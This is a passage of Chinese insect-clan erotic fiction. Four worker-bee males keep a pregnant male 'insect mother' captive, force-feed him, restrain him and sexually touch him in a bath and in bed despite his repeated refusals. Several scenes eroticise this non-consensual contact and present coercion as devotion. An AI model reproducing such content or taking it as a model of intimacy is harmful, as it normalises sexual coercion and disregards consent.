母亲坐在沙发上,如当年一样含笑看着他:“真不愧是我们引以为傲的尤金,没有让妈妈失望。尤金,看呐,你的孩子果然如我所说的一般可爱!!”
“妈妈……”
“妈妈……”
尤金唤她的声音与一道稚嫩的、重叠的嗓音混合在了一起,都在叫着妈妈。那声音不似人类婴孩的清脆,反而带着某种湿漉漉的、窸窣的摩擦音,仿佛有许多张小嘴在同时开合。
尤金一愣,紧接着他感觉到有什么滑腻的东西正从四面八方缠绕上他的脚踝、小腿,轻轻拽着他的手指。
在他愣怔时,那东西伸出细长分叉的、带着细密倒刺的舌头,反复舔舐着他的指盖和指缝,触感是如此真实,似乎真的有婴儿用口腔含住了他,啧啧吮吸着。
母亲微笑,嘴角裂开的弧度有些不自然的拉伸:“尤金,你的孩子饿了,你不哺育他吗?”
尤金喉咙干涩,一股寒意顺着脊椎爬升,茫然问:“什么?”
母亲没有再说话。
她也无需再说话了。
因为就在尤金问出口的那一瞬间,他腿边那些‘孩子’竟直直拽着他的衣物攀爬了上来,手脚的力气大到出奇,不但把尤金拽得踉跄,还将他上身的衬衫扣子拉扯得散落一地,只是一个喘息,就爬到了令尤金恐惧的高度。
随后,如同急切进食的幼兽般,它们找到了他裸露的胸口,数张湿冷的嘴同时贴了上来,狠狠咬了上去!
“唔呃!”
尤金闷哼一声,后退数步,咚一声靠墙撑住了身子。
剧痛和一种被亵渎的寒意让他几乎窒息,他不可抑制地仰头抬高了脖颈,薄如蝉翼的肌肤下是险些绷断的筋,宛如被人闷头打了一棍……不,不止于此。如果只是斗殴,尤金绝不会输得如此彻底。
此时令他崩溃动摇的,是这些非人之物的吮吸。
湿润的、黏腻的,带着细微啃噬感的精神碾压几欲折断他脊骨,这是玷污他灵魂的酷刑,是将他全身血肉剖开的刀具。
汗水一点点浸透残破的衣衫。
巨大的混乱中,尤金终于看见了趴在他身上的孩子——那是一团不断蠕动,融合又分离的黑色虫团,有着反光的坚硬外壳,尖锐的口器,无数爬行足在窸窣摩擦,覆盖着蓝膜的复眼密密麻麻地闪烁着贪婪的光。
不止一只。
地上、墙上、天花板上全是,如同潮水般涌来,争着抢着往他身上爬,要吸吮他,啃咬他,要钻进他的皮肤与他融为一体。
虫子、虫子。
都是虫子。
尤金想要尖叫,却发不出像样的声音,只能嘶哑地嗬嗬作响。
他徒劳地挥打,驱赶,那些东西却更加兴奋地缠绕上来,冰冷的节肢划过他的皮肤,留下湿滑的痕迹。尤金形容狼狈地去看母亲,露出了孩童般求救的目光,母亲只欣慰地看着他,鼓掌道:
“恭喜你,尤金,你完成了神圣的哺育。”
“啊啊,尤金可真是个好妈妈!”
……
“气味,全都溢出来了。”
“母亲这是梦到了什么?情绪波动前所未有的高,初步检测为H4/52,还在持续增长。”
“都怪维斯珀,是他吓到了妈妈。”
“他该死。”
现实的声音如同隔着一层厚厚的水膜传来,带着虫族雄虫们特有的,对信息素极端敏感的兴奋颤音。
尤金后知后觉地清醒,眼皮沉重掀开,模糊的视线渐渐聚焦,看到四张几乎一模一样英俊面孔,正以近乎贪婪的姿态围拢在他身边。他们拥有相同的轮廓,只是拟态的瞳色有些许的不同。
高阶雄虫的卵在破壳时会本能地攻击并吃掉身边的兄弟,将劣质的个体化为养分。但偶尔,当一窝卵中复数个体基因强度不相上下时,便会形成这种奇特的共生现象。
他们谁也无法彻底杀死对方,最终以近乎克隆的外貌一同存活,共享相似的性格与行为模式,连对虫母的渴望都如出一辙。
浅蓝色眼睛的那只最先察觉尤金醒来,立刻凑近。
微凉的手指先是试探性地触碰尤金的额头,看他没什么反应,随即更加大胆地贴上来,用鼻尖蹭他柔软的脸颊肉,深深吸气,发出满足呜咽的叹息。
“妈妈,您出汗了,一定很虚弱。”
蓝眼雄虫的声音甜蜜而急切,带着急于奉献的殷勤,“我喂您蜜吃,您需要补充营养。”
他说着便张开了菱形的唇,露出内侧尖利的牙齿。口腔深处淡金色的,浓稠如蜜蜡的液体正缓缓分泌、汇聚,散发出淡淡的香甜,混杂着工蜂自身信息素那暖烘烘的如同阳光下蜂巢般的气味。
这是工蜂虫族特有的舌尖蜜,营养价值极高,是他们不会出售,只献给虫母的用于求偶的珍宝。
此刻,这珍品被毫不吝啬地呈到尤金的唇边。
尤金还没从梦魇的余悸和精神的虚脱中完全抽离,意识昏沉,身体软得提不起一丝力气。蓝眼工蜂捏住他的脸颊,迫使他微微张口,随后低头将微凉的嘴唇覆了上去。
浓稠甜蜜的蜜液渡入口中,几乎无需吞咽就自动滑入食道,一股暖流迅速从小腹升起,扩散至四肢百骸,驱散了些许冰冷和虚弱。
这过程本该是纯洁的奉献,工蜂的舌尖却留恋地在尤金口腔内壁扫过,勾勒着牙齿的形状,将那哺喂延长成一次潮湿的、充满占有欲的侵入。
蓝眼工蜂刚退开些许,粗重喘息,翠绿色眼睛的兄弟便迫不及待地挤上前,同样捏住尤金的下颌,覆上那刚刚被滋润过的、泛着水光的唇。
又是一股蜜液渡来。
味道微有不同,带着草木的清新,但其中蕴含的狂热和贪婪却别无二致。这只的舔舐更加用力,几乎是在吮吸尤金的舌头,想要从中反向汲取香甜。
尤金被动地承受着。
他一半的灵魂还冻结在那个可怖的梦境里,生不出挑剔或反抗的力气。难得一见的低迷温顺像是最好的催情剂,刺激着这些本就徘徊在失控边缘的雄虫。
第四只了。
深紫色眼眸的工蜂接替了他的兄弟,他喂完蜜后却没有像前三只那样哪怕不舍也及时地离开,反而变本加厉地含住尤金微微红肿的下唇,用舌尖反复描绘唇形,将那浅色的唇舔得湿漉漉、亮晶晶,被蹂躏过一般。
他甚至试图将舌头探地更深,去勾缠尤金无意识躲避的软舌。
尤金终于从一片混动中挣出神智,睫毛颤动抬起,直直撞进那双盈满痴迷与渴求的紫眸里。
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“你们……”
尤金想开口让这些东西退开,嗓音却沙哑而微弱。
他才刚张开口,那紫眼工蜂就抓住机会,舌尖飞快侵入,在他敏感的上颚和舌根舔过,激起一阵生理性战栗。
尤金作为虫母,本就会散发对虫族有致命吸引力的味道,定力差的那些平时离他几十米开外就会连拟态都维持不住。更遑论孕期,唇齿相贴这么近的距离。
甜美、丰饶、充满生命力的气味如同最上等的诱饵,让围在他身边的四只工蜂呼吸骤然粗重,眼神变得浑浊,原始的冲抵险些压倒理智的束缚。
“妈妈,妈妈,再吃一点我的蜜吧……”
紫眼工蜂喘息着哀求,嘴唇黏在尤金的皮肤上不肯离开,顺着他的下颌线一点点向下啄吻,“这是我很勤奋采集出来的,就为了献给您……”
工蜂一族的舌尖蜜,其质量味道是他们自身能力的象征,虫母的喜欢与否会直接决定他们的阶级和地位,是认同他们忠诚的意思。
尤金闭了闭眼。
再睁开时,那里面只剩下一片浓郁的漆黑。他几乎是毫不犹豫地,下一秒就狠狠咬上了紫眼工蜂不肯从他嘴里抽离的舌,将这不知足的东西咬得出血。
工蜂“唔”了一声,水润的紫眸可怜痴迷地望着他。
尤金问:“爱尔文在哪里?”
他根本就没有与这群工蜂交流的打算,直接点出了自己熟悉的,还能保持些许表面规矩的近侍的名字,“他是我的近侍,即使喂食,也该由他来。”
蓝眼工蜂深吸一口气,声音仍带着不稳的喘息:“近侍爱尔文大人,已于昨夜向秩序组织了检举了维斯珀对您的欺凌与过度刺激。”
绿眼工蜂说:“检举内容为:未经允许对您实施了超出必要侍奉范畴。”
“在今日清晨的审判庭上,该罪名被判定为成立,维斯珀现已被关入审判区,需接受火刑七日、信息素剥离百分之二十的刑罚。”
尤金想起昨天的经历,面无表情。
“所以呢?”他音色听不出情绪,只有一阵冷淡的疲惫,“我问的是爱尔文的位置,而不是他做了什么,也不是维斯珀那家伙的现状。”
工蜂们顿了一下。
他们似乎在选择更准确的表述,片刻后道:“爱尔文大人同时也提交了自检报告,表示作为近侍,未能及时预见并阻止维斯珀的越界行为,且在事后未能有效平复您的剧烈情绪波动,属于严重监护失职。”
“因此,他自请刑罚,要求量罚标准等同与维斯珀。”
“在此期间,”另一只工蜂接口,目光依恋地流连在尤金身上,“妈妈的日常基础护理,将由我们工蜂一族负责。”
“……”
尤金听明白了。
一个因为强行欺辱了他被罚,另一个因为没保护好他而自罚。
虫族的逻辑就是这样扭曲而直白,有自我惩戒来彰显对虫母忠诚的功夫,却从不正视和思考囚笼本身是否合理,是否是尤金本人想要的。
惩戒,反思,这一切对于尤金而言都毫无意义。改变不了他身为囚徒的现状,以及他依然深受迫害的基本事实。
“母亲,”工蜂族的雄虫唤他,“请相信我们有做得更好的能力。吃了蜜后,您和虫卵的链接会变得更加深刻,也许您今晚就能听到它的声音,与它交流了。”
尤金说:“我已经听过了。”
工蜂彼此对视,纷纷好奇,一言一语地问他:“它是什么样子的?”,“它这么快就已经能发声了吗?”,“妈妈看清楚它的模样了吗?”
……
极淡的讽笑在尤金脸上转瞬即逝。
他身体侧转,随着动作,阳光斜斜倾洒了下来,为他覆上一层金黄的光晕。他的外表是如此有欺骗性,以至于笑起来时房间内顿时没了讲话的声响,四只雄虫一瞬不瞬地、都在盯着他看。
抬眼看向这群外表一致的虫子,尤金弯了弯唇,语气温柔:“你们会在意不同的怪物之间、哪一只更好看吗?”
“……”
虫子们的复眼有光闪过。
不等他们回答,尤金缓慢说:“就跟我不在意此时的你们一样。你们所有虫子,包括我肚子里这只,于我而言,都不重要。”
“别妄想我会给你们想要的。”
“——绝不可能。”
6. Chapter6
尤金冷漠的态度并没有让工蜂们望而却步。
对每一只虫子而言,能接触到尤金这样至高的存在就已经是此生最大的幸事了,此时此刻,他们的愉悦感要远大于其他,哪怕是母亲的冷脸也不能扑灭他们的热情。
工蜂一族的舌尖蜜效果惊人。
尤金以肉眼可见的速度恢复,憔悴褪去,苍白的面颊染上血色,肌肤下的生命力重新丰盈鼓胀,连指尖都透出淡粉。
咔嚓一声脆响。
蓝眼工蜂咬断了束缚尤金手腕的细链,将那节象征禁锢的金属轻巧丢弃。
他捧起尤金重获自由的手,指尖眷恋地摩挲腕上被磨出的红痕,低头伸出湿润的舌尖,缓缓舔过那些痕迹。
“疼吗,妈妈?”
他的声音悠扬粘稠,“爱尔文大人怎么能这样对待您呢?您是我们至高的珍宝,唯一的母亲,理应用最柔软的丝绒包裹,用最甘甜的蜜浆供养。”
雄虫的唾液带着微弱的麻痹与愈合效力,舌尖掠过之处,红痕迅速消弭,皮肤恢复光洁,只留下湿亮的水迹挥之不去。
尤金抽回手,活动了下手腕。
“如果你想借此拉低爱尔文在我这里的印象分,我劝你别白费功夫,”尤金说,“因为你们在我这里的好感度都是负的。”
谁也不比谁强。
这些工蜂真的想归还他自由吗?
恰恰相反,虫族对虫母那源于本能的黑洞般的占有欲尤金再清楚不过,此刻的解放不过是另一种形式上的约束罢了。先让他放松警惕,然后更好地迎接接下来的压迫,正是虫子们管用的伎俩。
尤金本以为他对此已经有足够的应对经验,却不想很快,他就领教到了工蜂一族比爱尔文更胜一筹的恶劣:这些雄虫并不完全听从他的命令。
或者说,他们只听那些符合他们痴迷幻想的指令,其他时候则完全把尤金当成了所有物。
例如每日清晨的清洗时刻。
孕晚期的尤金身体变得敏感沉重,每日清洁这些必要的举动在工蜂手里就变成了漫长而充满侵入感的典礼。
他们不给尤金用自动清洁舱,偏要亲手为之。
“机械的触碰太过冰冷啦,会惊扰您体内的虫卵。”绿眼睛工蜂如是说,指尖已经探入尤金的衣襟。
四只工蜂分工明确,一只调试水温,将温度永远精确到符合虫母喜好的微烫,一只准备浸满信息素舒缓液的软巾,另外两只则负责触碰清洗尤金的身体。
尤金被半扶半抱着进入铺满柔软材质的浴池,水温裹挟着工蜂们蜂蜜的味道蒸腾而上,甜腻得令人呼吸不顺。
衣物被一层层剥落,动作虔诚如拆开圣物包装,雄虫们的手指贴上尤金的皮肤,他的脊背瞬时绷紧。
紫眼工蜂仿佛看不到他的不适,掌心贴着他隆起的下腹缓慢打圈,复眼在昏暗中泛着幽光。
“妈妈,虫卵今天很安静,它和您一样喜欢这个温度。”
说着,他指尖顺着隆起的腹部弧度往下滑,探向更危险的地段。
这是一种缓慢的,带探究性质的过程,尤金能清晰地感知到他指腹的纹路,关节的曲度,以及那非人生物特有的稍显坚硬的指甲边缘。
“为了顺利迎接它的降临,我们还需要确保甬道的柔软、顺滑、温暖。这是必不可少的准备。”
“放轻松,妈妈。”
紫眼工蜂的声音在水雾中变得朦胧,“您太紧张了,这样的急速收缩反而不利于护理。”
他的另一只手覆在尤金腹侧,以某种特定的频率轻拍安抚,尤金感到肚子深处传来一阵细微的蠕动,是虫卵,它竟对这触碰产生了反应。
“看,它在回应。”
绿眼工蜂兴奋地凑近,复眼中无数晶面折射着昏光,“它能察觉到我们的准备了,它在配合我们,在期待降生的路径变得通畅。”
尤金咬紧的牙关开始发酸。
最令他恐惧的不是触碰本身,而是身体那逐渐失控的反应。
在信息素的持续浸泡,和那四双复眼的凝视下,他的生理机能开始背叛意志的指令,竟然开始湿润,松软,可耻的敞开。
“不……”
尤金从齿缝间挤出音节,手指扣住浴池边缘,指甲几乎掐了进去:“你们这群畜生,拿,拿开。”
“妈妈,请别紧张。”
灰眼工蜂从背后贴近,胸膛贴上尤金绷紧的脊背。他手臂环过尤金胸口,看似支撑实则桎梏,让尤金无法躲开前方兄弟的服侍。
“这只是必要的护理过程。”他满足地叹息,“您看,虫卵的诞生需要安全的路径,而我们的职责就是随时为您和它准备好这一切。”
“是的,它需要提前学习和适应,否则很有可能会找不准您的骨盆,导致您的难产。”
尤金猛地挣扎,水花四溅。
四具身躯锁链般将他牢牢锁住,蓝眼工蜂握住他的手腕,将他的手从池边拉开,缓慢而坚定地将他的手指引导向他自己的身体。
“触摸它,妈妈。”
蓝眼工蜂的声音甜蜜如毒,“感受您为孩子们准备的繁衍地,这是荣耀的,是神圣的,是我们所有子民梦寐以求能侍奉的圣所。”
尤金指尖触到腹部隆起的弧线和皮肤下不属于他的生命脉动,一瞬间,剧烈的晕眩反胃感冲上喉咙。
他的人类记忆在尖叫:这是错误的,扭曲的,是对他男性身份的彻底亵渎。
而现实却在他耳边低语:你本就是母亲,是孕育者,是孩子们所有渴望的终点,何错之有?
两种认知在他的意识深处厮杀不断,将他的灵魂撕扯成碎片,工蜂们的精神触须就在这时悄然渗入,温柔地包裹住那些破碎的自我,将它们浸入一种温暖而粘稠的舒适中。
“没关系的,妈妈。”
四道声音重叠在一起,如同合唱,“接纳它,接纳您真正的身份。这不可耻,这是宇宙赋予您最伟大的权能,神将您赐予我们,我们将爱您至永恒。”
尤金的视线开始模糊。
水汽、信息素、重叠的低语、还有那无休止的触碰将他的意识拖入一片混沌的泥沼。有那么一瞬间尤金几乎要沉溺进去,去想,如果放弃抵抗而去接受,痛苦是否会减轻些许。
但这个念头刚浮现,就被更深处的坚持击碎了。
不。
尤金迷蒙之中想,他有自己的名字,尤金·梅尔维,这个名字不会是任何人的母亲,也不会是某一方的所有物,只原原本本地属于他自己。
他重新咬紧牙关,鲜血的味道在口腔中弥漫,只剩抖动的眼睫证明他依然在抵抗着。
……
清洗最终结束时,尤金已虚脱得几乎无法站立。工蜂们小心翼翼地将他抱起,用柔软的吸收巾包裹,动作轻柔如对待易碎的琉璃。
他们为他换上丝绸般光滑的寝衣,
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而后将他安置在床榻的中央。
陪寝的夜晚,折磨以另一种形式继续。
紫眼工蜂侧躺在他身后,手臂如锁链般环着他的腰腹。他的手掌始终贴在孕肚上,每当虫卵有丝毫胎动,他都会发出满足的叹息。
“它在成长,我能感觉到它的意识在逐渐成形。很快它就会诞生了。”
尤金假装入睡。
但工蜂们可以通过他的气味波动感知他是否清醒,蓝眼工蜂躺在另一侧,指尖梳理着尤金柔软蓬松的头发。
“睡不着吗?需要我为您哼唱摇篮曲吗?我们工蜂一族有传承很久的育幼旋律,能让您和虫卵都放松下来。”
不等尤金回答,低沉的频率的嗡鸣在房间中响起。
带有精神安抚效能的频率直接作用于神经,尤金紧绷的肌肉开始不受控制地松弛,思维像被温水包裹,缓缓下沉。
就在他要彻底失去意识前,灰眼工蜂的声音在耳边轻轻响起:“妈妈,三天后就是朝圣日了。”
尤金的睫毛颤动了一下。
“那天,所有领主都会来到主巢,在诞圣殿中觐见您。这是难得一见的大典,为了庆祝虫母的受孕成功而举办。”
绿眼工蜂接话,口吻压抑不住的喜悦,“届时您将坐在王座上,接受万民朝拜,迎接属于您无上荣耀的时刻。”
尤金终于肯理他们了:“朝圣日?”
“是的。”
蓝眼工蜂的复眼在黑暗中闪烁,“那是您第一次公开露面,整个虫族社会都将见证您的存在。所有眼睛都将注视着您,所有心灵都将向往着您,您将成为活着的圣像。母亲,您会喜欢的。”
尤金感到窒息般的冷意。
公开露面。万虫朝拜。活着的圣像。
他们这是要把他放在高台上,向所有虫族展示他们的战利品?整个文明痴迷的目光烙印在他身上,这真的是荣誉吗?
不……
或许可以乐观些。
尤金想,至高权力中心,所有领主聚集,虽然危险而耻辱,但同时也是绝无仅有的外出机会。他或许可以找到逃离的方法,永远离开这里。
“我需要准备什么?”尤金轻声问。
四只工蜂同时僵住,随即爆发出狂喜的波动。这是尤金第一次对虫族的事务表现出兴趣,“什么都不需要,妈妈!”
紫眼工蜂急切地说:“您只需要存在就足够了,我们会为您准备好一切,礼服、王冠、还有确保您舒适的所有装置!”
“那是专为您设计的诞圣袍,”绿眼工蜂解释,“它会完美展现您的孕育状态,让所有在场的子民都见证到您的神圣。”
“我们准备了十二种不同的搭配方案,您可以挑选最喜欢的。”
尤金听着越发不妙,他打断他们:“拿来我看看。”
房间陷入短暂的嘈杂。
工蜂们对视一眼,随即蓝眼的那只起身离开,几分钟后捧着一叠全息投影板返回,他激活投影,十二套诞圣袍的设计图悬浮在空中。
尤金的胃部登时收紧。
他清晰地看到了这些衣服:有些是透明的纱质材料,重点覆盖胸部和下身,有些则用繁复的金线刺绣出虫巢的图腾,还有些在腰侧设计了解开式结构。
如此种种,华丽至极,如同神明的袍衣。
可有一点。
所有设计都诡异的围绕着同一个主题:突出孕腹。
7. Chapter7
尤金盯着漂浮在空中的诞圣袍,胃里一阵翻搅。
这些衣袍的每一寸裁剪都在叫嚣着虫族对虫母的生殖崇拜:透肉的薄纱、刻意裸露腰腹的设计、金线勾勒的轮廓暗示,完完全全把繁衍至上的文明贯彻到了极致。
“你们有病是不是?”
嗓音里满是被这极致的荒诞逼出的怒意,尤金骂道,“你们他妈的是不是有病!”
四只工蜂的复眼同时转向他,数十个晶面折射出困惑的光芒。
“您不满意吗?”
蓝眼工蜂的手指划过全息投影,半透明的纱料在虚拟的光线下若隐若现,为他讲解道:
“这件能完美展示您腹部的曲线。光线穿过时,您腹腔内的虫卵轮廓会像脉搏一样跳动,像是盛开的花苞,每一寸凸起都能看得清清楚——”
“闭嘴!”
尤金猛地挥手,投影板重重砸在地上,全息图像碎裂成无数光点,如同溅落的玻璃碎屑,在空中闪烁着熄灭了。
他剧烈喘息着,双肩因愤怒而加剧起伏,鼓起的腹部也随之微微颤动。
他的变化并没有逃脱四只工蜂的捕捉,他们眼睛里渐渐燃起暗热的光。
鼻尖微不可察地耸动了一下,雄虫们贪婪地嗅着空气中突然暴涨的信息素香甜,不肯放过一丝一缕。
至于虫母的发问。
绿眼的那只歪了歪头,似是在认真思考,“妈妈,我们的神经结构经过数代进化,从生理学角度看,是非常健康的,不存在有病一说。”
“至于让您感到为难的情感……难道,是‘羞耻’吗?”
他道,“恕我直言,类似于这种不利于族群繁衍的低效情绪,在进化的过程中我们就已经将其完全剔除掉了。”
尤金几乎要气笑出声。
在他看来这些东西无异于是在对他说:是的,我们就是这么没脸没皮。
尤金嘴唇动了动,他还想说些什么,紫眼工蜂忽的贴了上来。
他的动作快的像道残影,尤金反应过来时,那只体温偏凉的手就已经牢牢黏在了他隆起的肚子上,姿态痴迷地抚摸上去了。
“可是妈妈,您瞧您多美啊。”
他嗓音粘稠如蜜,湿润的呼吸尽数喷洒在尤金的颈侧,“您想象一下,您坐在王座上,圣袍腰侧解开,露出这儿。”
指尖按在孕肚的高点,那微微发硬的硬块上,他接着道:“金线会从图腾上透下光,在您皮肤上投下阴影。”
“随着您的呼吸的一起一伏,所有的子民都会看见您美丽而性感的身体。这是您高贵的体现,无人可及的象征。”
“您微微后仰,丝绸会滑落到您的肩膀,露出脖颈和锁骨。”
“汗水沿着线条流淌,滴在圣袍,浸透薄纱,让皮肤颜色透出——”
说到后面,这些虫子的话题已经不仅仅是服饰那么简单了。
他们完全是在意婬他,将孕期的他拉进了他们的桃色幻想里。
尤金沦落到如此境界的时间也才不过半年而已,在此之前,他完全想象不到会有人对他说这种话。
直观欲望层面上的,不含任何含蓄粉饰的言语劈头盖脸砸在他头上,以至于他最先做出的反应并不是愤怒,而是可悲的茫然。
他缺乏应对这种时刻的经验。
可在他反应过来这该死的东西在说什么之后,他从刚刚开始就已经被点燃的情绪又一次爆发了。
“够了!”
再也忍不下去,尤金一拳挥在紫眼工蜂的脸上。
这一击带着他全身体重和积蓄多日的怨恨,用尽了他所有力气,尤金作为军校生曾参加过严苛的格斗和体能训练,清楚地知道如何发力,打哪里最痛。
他半点都没有留有余地,这一拳下去,指骨直直撞击到虫子拟态的皮肤上,发出了一声巨大的闷响,咚一声在房间里炸开。
虫子终于闭嘴了。
尤金还没有来得及松一口气,就感觉拳头上的触感相当诡异。
他并没有打在似于人类皮肤的弹性质感,又或者坚硬的甲壳壁上,而是触碰到了某种潮湿又黏腻的东西上。
是蜜。
工蜂的皮肤表面分泌了一些淡金色偏向透明的蜜液,粘稠地包裹住了尤金的拳头,让他动弹不得。
紫眼工蜂的头被他砸得偏向一侧,这是个很细微的距离,并无法对防御力出色的虫子造成致命的伤害,可工蜂复眼还是闪烁了一会儿。
许久才缓缓、缓缓地转了回来。
时间仿佛静止了。
尤金喘息着,指骨发麻:他看到紫眼工蜂脸颊上裂开一道狰狞的裂纹,拟态人皮下,深紫色的虫族甲壳显露出来。
除此之外就是那无处不在的液体,粘腻着附着在他拳头上,手指上,指甲缝。
然后,尤金眼睁睁看到紫眼工蜂笑了。
并非人类嘴角上扬的轻笑,而是整个面部肌肉以一种怪异的方式舒展开,每个细胞都在散发着愉悦分子,复眼所有晶面都聚焦在尤金脸上,折射出了狂热光彩。
“原来如此……”
他的兄弟,蓝眼的那只工蜂代替他喃喃自语了出来,嗓音因兴奋而扬起,“爱尔文大人束缚妈妈双手的理由,竟然是这个吗?”
灰眼工蜂附和般迟缓点头,复眼贪婪地扫视尤金因愤怒而起伏的胸膛,泛红的脸颊,汗湿的鬓角:
“妈妈在攻击我们。如果不锁起来,就会像这样找到机会对我们实施殴打行为。”
绿眼工蜂几乎是在尖叫了:“殴打,殴打我们的妈妈好可爱好可爱好可爱!”
紫眼工蜂抬手。
他手指轻轻触碰脸颊上的裂痕,随后低头看向自己的指尖。那上面残留了一点点尤金的汗,含有极其微量的,因剧烈动作而渗出的信息素,味道丝丝缕缕传递了过来。
他目光转移了过来。
尤金后退了一步,但太迟了。
紫眼工蜂抓住他打人的那只手,迅速将他手掌摊开,湿滑的舌头径直贴了上去,粗糙的舌面从指根一路舔到了指关节。
带着细微的倒刺结构的舌头刮过皮肤,激起一阵恶寒的颤栗,尤金近乎是强忍着才没有让自己惊呼出来。
“放开,我让你放开——”
尤金想将手抽回来,但两者力气相差悬殊太大,他不出意外地失败了。
“您不该用这么大力气的。妈妈
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。”
紫眼工蜂像是在压抑着什么,拟态变得极度不稳定,急速在人虫形态之间切换。
他不停歇地喘息着,口器在表皮下一开一合,“您的手都红了,这会伤到您。如果您想打我可以直接下令,我自己会动手。”
“还有。您的味道,太过。”
紫眼工蜂断断续续说,“比平时更浓烈,更刺激,我好像,快要发情了,妈妈,妈妈妈妈,怎么办?怎么办?我可以插您吗?”
“可以吗可以吗可以吗可以吗?”
尤金浑身一颤。
他瞳孔都因为震惊而收缩了:“你说什么?”
虫子却不等尤金肯定。
他自顾自地说了下去:“可以的吧,妈妈毕竟都已经孕晚期了,平常还需要做模拟产卵的护理——”
“反正都是要扩开,为什么不能用我的来?”
他的手死死扣着尤金的腰,将两人的距离拉到危险的程度。
尤金下意识想要推开他,他再愤怒也看出了紫眼工蜂现在处于极端不稳定时期,现在远离这里才是最佳的选择。
尤金并不是个较真的人。
某种意义上讲,他相当能隐忍,也懂得蛰伏的道理,他知道此刻的自己该做什么,不该做什么。
他理性地后撤,选择拉开距离。
可就在他脚步后退的一瞬间,蓝眼工蜂从身后握住了他的手腕,阻止了他的动作。
“请小心。”
蓝眼工蜂温柔地贴在他耳边提醒,“过度运动对虫卵不好。特殊时刻,妈妈一定要更加注意。”
他的话让尤金看到一丝希望,可下一秒,这只蓝眼工蜂就将他所谓的希望狠狠折断,他笑道:“当然,我亲爱的母亲,我刚刚所说的过度运动,并不包括虫母与雄虫的交.配行为。”
“只有这个,还请务必、一定、绝对、要赏赐给我们。”
“……”
“……”
尤金怀疑自己的耳朵是否出了问题,否则为什么他会听见脑袋里嗡嗡作响的声音吵个不停。
他陷入了深深的混乱。
可还不止,灰眼工蜂问的话让他的脑袋更加昏沉。
“在此之前,妈妈已经打过他了,那么接下来可以打我吗?”
尤金木木看向他。
灰眼睛的那只接着索求道:“我们是同胞兄弟,您不能厚此薄彼,只打他不打我。这是偏心的坏妈妈才有的行为,很不公平。”
“妈妈,妈妈不可以偏心。”
绿眼睛的那只咕咚一声,吞咽了一口口水,复眼很长时间一眨不眨地盯着尤金,语速飞快地重复:“妈妈的拳头落在脸上的触感是什么感觉?想知道想知道想知道,我也好想知道!!”
“……”
尤金清楚感觉到四只工蜂的信息素都在急剧变化。
它们变得更浓稠、甜腻,带着明显的生理兴奋。
疯了。
尤金说:“你们全都是疯子。”
“不,妈妈。”
紫眼工蜂托举着他肚子的一侧,承担了那里大部分的重量,让他在站立时显得不那么辛苦,喃喃:“我们全都是您的孩子。”
8. Chapter8
场面终究还是失控了。
在尤金面前,这些高阶雄虫褪去了所有文明的拟态,暴露出刻在基因深处的,纯粹猎食者的生物本能,宛如纯种的野兽。
紫眼工蜂彻底抛弃了人类外形,面部皮肤龟裂剥落,露出底下深紫色的坚硬甲壳。
锋利的骨质口器张开,探出带着细密倒刺的舌尖,如同某种深海生物的触腕,黏湿缓慢地勾勒过尤金的脸颊。
舔舐。
带着兴奋侵略意味的,标记领地般的黏腻舔舐,从额头到下颌,从眼脸到颈侧,像要尝遍尤金每一寸裸露的皮肤,将自身的信息素尽数涂抹进他的毛孔内部。
紫眼工蜂的指尖深深陷在尤金腹侧最柔软的那片肌肤里,随着呼吸按压出微微的凹陷。
那层可怜的衣服形同虚设。
尤金清楚感知到对方掌心的纹理,以及掌心之下,自己肚子里沉睡的虫卵如同脉搏般的鼓动。
“妈妈,您感觉到了吗?”
紫眼工蜂的声线彻底失了人类特征,变成了某种混合着气音和摩擦音的低频震颤:
“它在翻身,在朝我的手掌靠拢。呵,它以为这只是一次普通的模拟产卵,跟寻常别无二致,却不知待会儿会发生什么。”
尤金浑身僵硬。
他确实感觉到了,腹腔深处传来温吞的,液体推动般的涌动,有生命在里面慵懒地转身,是他的孩子。
这感觉让他心悸,但更恐怖的是身体深处随之泛起的,诡异的暖流。
那或许是愤怒,但更多的是一股燥热,让他难以自持地想要吞没些什么,好用于填补这源源不断的空洞感。
这绝不正确。
尤金想,这具被改造过的身体正在违背他的意志自顾自地做出反应,开始配合起恶心的虫子们的调情了。
尤金艰难说:“停下……”
“并不。”
紫眼工蜂的复眼几乎贴上他的睫毛,无数晶面里映出尤金惨白的脸和涣散的瞳孔,“您明明在升温,血液也在加速,这一切迹象都在告诉我,您需要我。”
“那是恶心,是排斥!”
尤金嘶声打断他,可话说了一半,锐利尾音却因为腹部突如其来的紧缩而变调了。
神色微带痛苦地扭曲了一瞬,他不由自主闷哼出声,脊背也弓了起来,整个人蜷缩着颤抖,大口大口喘息着。
是孕晚期的假性宫缩。
熟悉的,牵扯般的痉挛自小腹深处炸开了,像有无数只小手在里面同时拉扯,搅得尤金冷汗直流。
这明明是正常无比的生理反应,可在此时这四双贪婪眼睛的注视下,却被放大成了一场公开的耻辱的刑讯。
“把脸转过去。”
尤金拧眉,低声呵斥他们,“你们这群混蛋,都给我转过去!”
无人听从。
不仅如此,这些虫子们的眼睛出奇的明亮,仿佛极夜中发着冷光的塔灯,紧紧锁住尤金的脸不肯离开,不放过他每一个细微的表情变化。
尤金不知道他们在看什么。
他这副狼狈的模样到底有什么好看的,这些虫子们竟然连眼睛都不舍得眨一下,像下一秒就要吃了他似的,盯得他头皮发麻。简直他妈的变态到了极点。
尤金觉得自己要疯掉了。
他就像一段绷紧了的丝线,也许一分钟后,又或者下一秒就会崩断。
偏偏肚子里的东西还在闹他,让他想不管不顾地一头撞死,或者就这样用力扑倒在地上,以肚子朝地的姿势告诉它,不被母亲爱着的孩子就该被这样教训。
“妈妈,靠着我。”
又是一阵宫缩的极速颤抖,尤金咬牙忍耐,阴暗的想法不断冒泡。蓝眼工蜂的手从后方稳稳托住他发软的后腰,将他因为脱力而微晃的身体牢牢固定。
他声音温柔得令人毛骨悚然,“您需要支撑,靠着我会让您舒服一点。妈妈,我亲爱的母亲,族群生命的孕育者,您根本不知道此时的您到底有多美。”
“去你的美丽……”
尤金语气虚弱了下去。
这不代表着他的妥协,是身体深处涌上的潮水般的生理性疲惫,和某种陌生的虚软正在瓦解着他的力量。
他开始无法控制地发抖,汗水沿着脊椎的沟壑滑下,浸透本就纤薄的衣料,让它紧紧粘在皮肤上,勾勒出因怀孕而过分饱满的曲线。
“您在出汗。”
绿眼工蜂的鼻尖几乎抵在尤金汗湿的颈侧,深深吸气,“信息素浓度又提升了。愤怒、焦虑、还有,啊……”
他发出了一声痴迷的感慨,亲吻着尤金的侧脸,“还有孕囊。妈妈妈妈,您的孕囊已经在为扩张做准备了!它正在释放大量的激素味道!”
“好香好香!”
“妈妈,怀着宝宝的您真的好香!!”
